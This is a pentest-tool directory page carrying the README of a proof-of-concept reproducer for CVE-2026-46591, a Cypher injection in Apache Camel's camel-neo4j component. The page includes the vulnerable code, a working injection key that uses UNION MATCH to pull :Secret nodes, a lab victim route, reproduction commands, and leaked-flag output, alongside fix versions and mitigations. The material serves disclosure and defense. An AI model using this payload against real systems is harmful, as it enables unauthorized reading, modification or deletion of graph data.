Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-46591 — Reproducer for CVE-2026-46591: Apache Camel camel-neo4j Cypher injection via property names in CamelNeo4jMatchProperties, enabling authorization bypass / cross-label data exfiltration (fixed in 4.14.8/4.18.3/4.21.0) | Kitploit
Tools/GitHubGitHub/oscerd/cve-2026-46591
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingDatabase Security
GitHuboscerd/cve-2026-46591

CVE-2026-46591

Reproducer for CVE-2026-46591: Apache Camel camel-neo4j Cypher injection via property names in CamelNeo4jMatchProperties, enabling authorization bypass / cross-label data exfiltration (fixed in 4.14.8/4.18.3/4.21.0)

View Repository
11 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

camel-neo4j Cypher Injection Reproducer (CVE-2026-46591)

This project demonstrates a Cypher injection in Apache Camel's camel-neo4j component, tracked as CVE-2026-46591. The producer builds the Cypher WHERE clause for its match/retrieve and delete operations from the CamelNeo4jMatchProperties map. CVE-2025-66169 addressed injection through the property values by binding them as query parameters ($paramN) — but the property names (the JSON keys of that map) are still concatenated into the query string verbatim in Neo4jProducer.retrieveNodes() and deleteNode(). A property name containing Cypher syntax therefore alters the structure of the executed query.

This PoC demonstrates the impact as authorization bypass / data exfiltration: an attacker puts Cypher in a JSON key so that a :Person lookup is rewritten (via ) to also return a node it was never meant to touch — matching the advisory's "read, modify or delete any node or relationship".

UNION
:Secret

Advisory: https://camel.apache.org/security/CVE-2026-46591.html

Vulnerability Summary

PropertyValue
Componentcamel-neo4j
Affected Classorg.apache.camel.component.neo4j.Neo4jProducer#retrieveNodes / #deleteNode (property name interpolated into the WHERE clause)
CWECWE-943 (Improper Neutralization of Special Elements in Data Query Logic)
ImpactCypher injection → read / modify / delete arbitrary nodes and relationships
PreconditionsA route maps untrusted input into the CamelNeo4jMatchProperties map (e.g. the request body); the header is Camel-prefixed, so a plain HTTP client cannot set it directly
Affected VersionsFrom 4.10.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0
Fixed Versions4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23528 (PR apache/camel#23258)
CreditYu Bao (PayPal)

Incomplete-remediation follow-on to CVE-2025-66169 (CAMEL-22719), which parameterised the values but left the property names interpolated. Same header-injection-adjacent family as CVE-2025-27636, CVE-2026-40453, etc.

Technical Details

root@kitploit:~
// Neo4jProducer.retrieveNodes (affected 4.18.2) — the VALUE is a parameter, the NAME is concatenated verbatim:
for (Map.Entry<String, Object> entry : matchMap.entrySet()) {
    if (paramIndex > 0) whereClause.append(" AND ");
    String paramName = "param" + paramIndex;
    whereClause.append(alias).append(".").append(entry.getKey())   // <-- entry.getKey() (the JSON key) unescaped
               .append(" = $").append(paramName);
    queryParams.put(paramName, entry.getValue());                  // value is safely bound
    paramIndex++;
}
query = String.format("MATCH (%s:%s) WHERE %s RETURN %s", alias, label, whereClause, alias);

With the benign map {"name":"alice"} the query is MATCH (n:Person) WHERE n.name = $param0 RETURN n. With a malicious key:

root@kitploit:~
key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //

the built query becomes (the trailing // = $param0 RETURN n from the template is commented out):

root@kitploit:~
MATCH (n:Person) WHERE n.name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node

so the response contains the caller's :Person node and the :Secret node.

The fix (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23528) adds strict property-name validation (^[A-Za-z_][A-Za-z0-9_]*$) in both retrieveNodes() and deleteNode(), rejecting any non-matching name with a Neo4jOperationException.

The victim route

root@kitploit:~
from("platform-http:/lookup")
    .convertBodyTo(String.class)
    .setHeader(Neo4jHeaders.OPERATION, constant(Neo4Operation.RETRIEVE_NODES))
    .setHeader(Neo4jHeaders.MATCH_PROPERTIES, body())        // untrusted JSON body becomes the match map
    .to("neo4j:neo4j?driver=#neo4jDriver&label=Person&alias=n");

A "look up a person by properties" API: the client provides the match criteria as JSON, and the route hands it to the producer as CamelNeo4jMatchProperties. The graph holds two :Person nodes plus one :Secret node whose value a person lookup must never return.

Repository layout

The victim is the Camel route and its Neo4j database; the attacker is an HTTP client that puts Cypher in a JSON key. A small seeder plants the nodes and gates start-up on Neo4j readiness.

root@kitploit:~
CVE-2026-46591/
├── pom.xml                 # camel-platform-http + camel-neo4j 4.18.2
├── Dockerfile
├── docker-compose.yml      # neo4j 5.26 + the app
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── Neo4jSettings.java     # host / bolt / creds / secret flag
    │   ├── Neo4jConfig.java       # the Neo4j Driver bean (referenced as #neo4jDriver)
    │   ├── Neo4jSeeder.java       # waits for Neo4j, seeds :Person + :Secret nodes
    │   ├── VictimRoute.java       # platform-http:/lookup -> neo4j RETRIEVE_NODES
    │   └── ExploitController.java # attacker: legit vs Cypher-in-the-JSON-key
    └── resources/
        └── application.properties

Prerequisites

  • Docker and Docker Compose (runs Neo4j + the app)
  • Java 17+ and Maven 3.8+ (to build the jar)

Reproduction Steps

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build           # first start pulls the ~1GB neo4j image
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v

Expected output

root@kitploit:~
=== 1) Legitimate lookup  body={"name":"alice"} ===
  [{name=alice, role=user}]
  secret leaked: false

=== 2) Injected lookup  (Cypher in the JSON key) ===
  key = name = $param0 RETURN n AS node UNION MATCH (s:Secret) RETURN s AS node //
  [{name=alice, role=user}, {name=root-credentials, value=FLAG{neo4j_cypher_key_injection_CVE_2026_46591}}]
  secret leaked: true

>>> Cypher-injection proof — a property NAME rewrote the query to read a :Secret node the
>>> :Person lookup should never return: true

Attack Vectors

Any route that carries untrusted data into CamelNeo4jMatchProperties for a RETRIEVE_NODES or DELETE_NODE operation. Beyond reading other labels via UNION, an injected key can add SET/DELETE/DETACH DELETE clauses to modify or destroy arbitrary nodes and relationships.

Recommended Fix

Upgrade to 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23528). After the fix, property names are validated against ^[A-Za-z_][A-Za-z0-9_]*$ before being placed in the query.

Mitigation

Until upgrading, do not populate CamelNeo4jMatchProperties from untrusted input: validate or allow-list the property names (for example against ^[A-Za-z_][A-Za-z0-9_]*$) before the Neo4j producer, and ensure any consumer feeding such a route filters inbound Camel* / camel* headers so the match header cannot be supplied by an external sender.

Disclaimer

This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.

Download Tool